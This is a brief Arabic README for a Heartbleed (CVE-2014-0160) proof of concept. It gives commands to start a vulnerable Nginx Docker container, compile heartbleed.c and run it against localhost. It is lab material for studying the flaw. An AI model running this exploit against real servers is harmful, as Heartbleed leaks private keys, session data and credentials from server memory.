heartbleed

CVE-2014-0160 OpenSSL Heartbleed إثبات المفهوم

قم بتنزيل وتشغيل حاوية Docker (خادم Nginx القابل للاختراق)

docker run -p 4443:443 -it --rm --name hb gescobero/heartbleed:1.0

قم بتجميع هجوم Heartbleed

gcc heartbleed.c -o heartbleed

نفّذه مع خادم Nginx كهدف

./heartbleed 127.0.0.1 4443